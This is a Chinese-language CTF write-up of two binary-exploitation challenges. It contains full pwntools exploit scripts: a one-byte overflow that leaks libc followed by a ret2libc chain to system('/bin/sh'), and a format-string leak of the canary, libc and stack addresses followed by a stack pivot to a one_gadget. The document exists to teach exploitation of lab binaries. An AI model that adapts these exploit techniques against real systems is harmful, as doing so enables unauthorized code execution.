严重的拖延症,本来应该在比赛结束两周内复现完成的,拖到现在
EZstack
静态分析
保护全关
main函数很简单,一个读入,然后打印读入内容,一眼fmt,直接动调看栈上情况(但并不是QAQ)
buf初始地址是dc00,再看栈上的情况,rbp+8的位置有一个__libc_start_main函数
从程序的执行流程角度来看,当操作系统加载一个可执行文件并将控制权转交给程序时,首先调用的不是main函数,而是__libc_start_main函数。这个函数隐藏了程序启动和终止的许多复杂细节,为程序员提供了一个简单的main函数入口点。
这个距离是可以使用栈溢出够到,并且通过一字节泄露出libc地址,应该off_by_one,并且泄露后程序又从新执行main函数,此时就可以进行ret2libc
点击查看代码
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
# p = remote('27.25.151.12' , 27351)
# gdb.attach(p)
# pause()
offset = 0x28
payload = offset * b'Z'
payload += b'\x10'
p.send(payload)
#gdb.attach(p)
#pause()
libc.address = u64(p.recvuntil(b'\x7F')[-6:].ljust(8,b'\x00')) - 0x024010 #注:这里泄露出libc后,利用vmmap查看基址,然后计算偏移
log.info('libc.address===>' + hex(libc.address))
payload = offset * b'a'
payload += p64(next(libc.search(asm('ret;'),executable=True)))
payload += p64(next(libc.search(asm('pop rdi; ret;'),executable=True)))
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(libc.sym['system'])
p.send(payload)
p.interactive()
0verf10w
这题卡了好久,看别的队大佬的wp都有点难以理解,这里感谢一位师傅的帮助
静态分析
main函数
scanf可以和read可以利用进行格式化字符串泄露
vuln函数
查看保护
这里有个快速判断是否开启canary的小技巧
技巧1
回到main函数,看汇编代码
mov rax , fs:28h
mov [rbp+var_8] , rax
主要看这段,我们查看var_8的位置
刚好在rbp-8的位置,重点要考
技巧2、
反正每次有开canary保护的时候,都会有这行,所以我查看一下v7
非常的巧,位置刚好在var_8的位置
当然看到了汇编代码的地址,也就知道这题还开启了pie,所以需要泄露栈地址
保护全开
EXP
这里我直接贴上师傅给的exp了,但是我会动调解释代码
前面利用fmt泄露栈,libc,canary
点击查看代码
from pwn import *
context(arch='amd64',log_level='debug',os='linux')
io = process("./0verf10w")
gdb.attach(io)
pause()
io.sendlineafter(b'fore that?\n',b'aaaa')
pay = b'a'*8+b'%9$p%11$p%15p'
io.send(pay)
io.recvuntil(b'0x')
canary = int(io.recv(16),16)
print(hex(canary))
io.recvuntil(b'0x')
libc_base = int(io.recv(12),16)-0x29d90
print(hex(libc_base))
io.recvuntil(b'0x')
stack = int(io.recv(12),16)
print(hex(stack))
libc = ELF('./libc.so.6')
重点
后门攻击的脚本,这里写的一个劫持rbp进行栈迁移,然后用Onegadget
这里贴一个讲onegadget的文章,我也是第一次做到用Onegadget的题,怕讲错,还是直接贴文章one_gadget的一些姿势
点击查看代码
#one_gadget libc.so.6
#获取libc的one_gadget
'''
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable #注:one_gadget运行需要在rbp-70的位置
[r10] == NULL || r10 == NULL || r10 is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
'''
payload
点击查看代码
ret = libc_base + 0x0000000000029139
one = libc_base+0xebc81
#pay2 = p64(canary)+p64(stack)+p64(one)+p64(canary)+p8((stack-0x30+8)&0xff)
pay2 = p64(canary)+p64(stack)+p64(one)+p64(canary)+p8((stack-40)&0xff)
io.sendafter(b'again?????',pay2)
0680的位置是第一个传参的位置,然后我们跳转到main看canary检测位置
然后打印rbp的地址
我们第一次传入canary的位置是0680,此时rbp为0688,刚好canary在rbp-8的位置
第二个stack是为了劫持rbp,然后是onegadget,vuln函数的canary检测,最后一个传参,我其实还是有点一知半解,但是这里还是用我调试后解释一下,
劫持rbp,然后进行栈迁移跳转到泄露的栈的位置,然后执行one_gadget已到达getshell,(这里有错误请佬指出)
完整的EXP
点击查看代码
from pwn import *
context(arch='amd64',log_level='debug',os='linux')
io = process("./0verf10w")
gdb.attach(io)
pause()
io.sendlineafter(b'fore that?\n',b'aaaa')
pay = b'a'*8+b'%9$p%11$p%15p'
io.send(pay)
io.recvuntil(b'0x')
canary = int(io.recv(16),16)
print(hex(canary))
io.recvuntil(b'0x')
libc_base = int(io.recv(12),16)-0x29d90
print(hex(libc_base))
io.recvuntil(b'0x')
stack = int(io.recv(12),16)
print(hex(stack))
libc = ELF('./libc.so.6')
# system = libc_base + libc.sym['system']
# rdi = libc_base + 0x000000000002a3e5
# sh = libc_base + next(libc.search(b'/bin/sh\x00'))
'''
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
'''
ret = libc_base + 0x0000000000029139
one = libc_base+0xebc81
pay2 = p64(canary)+p64(stack)+p64(one)+p64(canary)+p8((stack-0x30+8)&0xff)
#pay2 = p64(canary)+p64(stack)+p64(one)+p64(canary)+p8((stack-40)&0xff)
io.sendafter(b'again?????',pay2)
io.interactive()
也算是写完了,这篇只是我浅浅的见解,还得靠佬的帮助,如果文章有错误,请各位佬指出来,我会及时纠正,防止误导,感谢感谢
后面两题,涉及到堆,QAQ , ISCTF的文章差不多到此结束了,继续开始堆之路
之后还会分享一些题目心得和知识